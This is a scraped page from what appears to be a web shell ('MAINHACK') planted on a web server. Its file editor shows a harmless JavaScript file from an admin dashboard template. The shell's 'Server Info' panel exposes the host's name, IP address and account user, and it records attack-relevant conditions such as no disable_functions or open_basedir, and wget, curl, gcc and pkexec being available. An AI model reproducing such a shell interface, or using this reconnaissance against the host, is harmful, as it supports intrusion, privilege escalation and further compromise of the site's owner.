[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: advanced-plugins-demo.js
/* Template Name: Xeloro - Admin & Dashboard Template Author: Myra Studio File: Advanced Plugins */ // Autonumeric jQuery(function($) { $('.autonumber').autoNumeric('init'); }); //Bootstrap-MaxLength $('input#defaultconfig').maxlength({ warningClass: "badge badge-success", limitReachedClass: "badge badge-danger" }); // Max Length $('input#thresholdconfig').maxlength({ threshold: 20, warningClass: "badge badge-success", limitReachedClass: "badge badge-danger" }); $('input#alloptions').maxlength({ alwaysShow: true, separator: ' out of ', preText: 'You typed ', postText: ' chars available.', validate: true, warningClass: "badge badge-success", limitReachedClass: "badge badge-danger" }); $('textarea#textarea').maxlength({ alwaysShow: true, warningClass: "badge badge-success", limitReachedClass: "badge badge-danger" }); $('input#placement').maxlength({ alwaysShow: true, placement: 'top-left', warningClass: "badge badge-success", limitReachedClass: "badge badge-danger" }); // Switchery $('[data-toggle="switchery"]').each(function (idx, obj) { new Switchery($(this)[0], $(this).data()); }); // Select2 $('[data-toggle="select2"]').select2(); // Touchspin var defaultOptions = {}; $('[data-toggle="touchspin"]').each(function (idx, obj) { var objOptions = $.extend({}, defaultOptions, $(obj).data()); $(obj).TouchSpin(objOptions); }); // Color Picker $('#basic-colorpicker').colorpicker(); $('#hexa-colorpicker').colorpicker({ format: 'auto' }); $('#component-colorpicker').colorpicker({ format: null }); $('#horizontal-colorpicker').colorpicker({ horizontal: true }); $('#inline-colorpicker').colorpicker({ color: '#DD0F20', inline: true, container: true }); // Date Range Picker var defaultOptions = { "cancelClass": "btn-light", "applyButtonClasses": "btn-success" }; // date pickers $('[data-toggle="daterangepicker"]').each(function (idx, obj) { var objOptions = $.extend({}, defaultOptions, $(obj).data()); $(obj).daterangepicker(objOptions); }); var start = moment().subtract(29, 'days'); var end = moment(); var defaultRangeOptions = { startDate: start, endDate: end, ranges: { 'Today': [moment(), moment()], 'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')], 'Last 7 Days': [moment().subtract(6, 'days'), moment()], 'Last 30 Days': [moment().subtract(29, 'days'), moment()], 'This Month': [moment().startOf('month'), moment().endOf('month')], 'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')] } }; $('[data-toggle="date-picker-range"]').each(function (idx, obj) { var objOptions = $.extend({}, defaultRangeOptions, $(obj).data()); var target = objOptions["targetDisplay"]; //rendering $(obj).daterangepicker(objOptions, function(start, end) { if (target) $(target).html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY')); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002